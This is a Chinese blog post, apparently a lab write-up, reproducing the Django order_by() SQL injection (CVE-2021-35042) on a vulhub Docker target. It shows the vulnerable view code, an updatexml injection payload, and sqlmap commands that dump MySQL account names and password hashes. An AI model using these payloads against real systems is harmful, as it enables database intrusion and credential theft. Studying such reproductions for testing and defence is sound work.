当前位置:网站首页>Django QuerySet.order_by() SQL注入漏洞复现
Django QuerySet.order_by() SQL注入漏洞复现
2022-08-11 05:32:00 【Tauil】
Django QuerySet.order_by() SQL注入漏洞复现
靶机在vulhub文件夹中打开终端,输入命令
cd django/CVE-2021-35042
sudo docker-compose build
sudo docker-compose up -d
sudo docker-compose ps
可以看到一共开了两个容器,一个是web服务的容器,一个是数据库的容器
访问web页面,此时页面会提示你到/vuln路径下,该页面的源码是
from django.shortcuts import HttpResponse
from .models import Collection
# Create your views here.
def vul(request):
query = request.GET.get('order', default='id')
q = Collection.objects.order_by(query)
return HttpResponse(q.values())
我们可以看到该页面有可上传的参数order,当我们输入URL:http://靶机IP:8000/vuln/?order=1时可以看到页面提示order值应该为id或者name
然后就可以通过输入特定内容进行排序,说明order_by()函数正常,这时候使用一些特殊符号如
> .
> '
> ''
> (
> )
> ;
等等进行引发错误,当输入 . 时发现引发了一个特殊错误,可以看到该处的SQL语句包含了括号
我们可以尝试继续在 . 后面添加其他参数,如添加.id时发现与id内容相同,说明该处存在注入点,可以使用以下命令验证注入点存在
.id);select updatexml(1, concat(0x7e,(select @@basedir)),1)%23
那么我们打开 kali 终端,输入命令:
sqlmap -u "http://靶机IP:8000/vuln/?order=.id" --dbs --threads=10
然后就可以得到其数据库名
该网页使用的数据库是cve,一般情况下应该继续挖掘cve数据中的用户账号密码,但是该靶机中并没有用户列表等内容,所以我们可以挖掘该网页数据库的账号密码
继续输入命令
sqlmap -u "http://靶机IP:8000/vuln/?order=.id -D mysql --tables
发现用户表user,继续输入命令
sqlmap -u "http://靶机IP:8000/vuln/?order=.id" -D mysql -T user --column
发现用户名,主机地址以及密码,输入命令
sqlmap -u "http://靶机IP:8000/vuln/?order=.id" -D mysql -T user -C User,authentication_string,Host --dump
现在就获得了靶机数据库的账号和密码,一般情况下应该继续输入命令
mysql -h靶机IP -uroot -pmysql
但是该靶场中数据库使用的是单独容器,而且该容器没有使用特定IP地址,如果我们使用上述的命令,连接到的是靶机本机的数据库,而不是容器本身的数据库,为了验证正确性,我们可以到靶机中进入数据库容器中
输入命令
mysql-uroot -pmysql
登录成功,密码正确
边栏推荐
猜你喜欢
nepctf Nyan Cat 彩虹猫
实操指南:多个域名该买哪种SSL证书?
【LeetCode-389】找不同
【LeetCode-34】在排序数组中查找元素的第一个和最后一个位置
2022DASCTF X SU 三月春季挑战赛 checkin ROPgadget进阶使用
JS小技巧,让你编码效率杠杠的,快乐摸鱼
swagger错误:WARN i.s.m.p.AbstractSerializableParameter - [getExample,421] - Illegal DefaultValue null
JS事件循环机制
C语言-7月19日-指针的学习
js learning advanced (event senior pink teacher teaching notes)
随机推荐
OpenGL 摄像机(Camera)类的创建
swagger错误:WARN i.s.m.p.AbstractSerializableParameter - [getExample,421] - Illegal DefaultValue null
OpenGL WSAD按键操作和鼠标移动操控摄像机Camera类
The whole process of Tinker access --- configuration
CLR via C# 第五章 基元类型、引用类型和值类型
脚本批量打包渠道包研究
C语言预处理
【LeetCode-75】 颜色分类
2022年全国职业技能大赛网络安全竞赛试题B模块自己解析思路(4)
The official website of OpenMLDB is upgraded, and the mysterious contributor map will take you to advance quickly
Dark Horse Event Project
lua-table引用传递和值传递
C语言-6月8日-求两个数的最小公倍数和最大公因数;判断一个数是否为完数,且打印出它的因子
虚拟机更改IP地址
脚本自动选择Hierarchy或Project下的对象
购买专栏请看看说明
【力扣】寻找数组的中心下标
解决npm warn config global `--global`, `--local` are deprecated. use `--location=global` instead.
将一个excel文件中多个sheet页“拆分“成多个“独立“excel文件
Unity的程序集Assembly 与 加快代码编译速度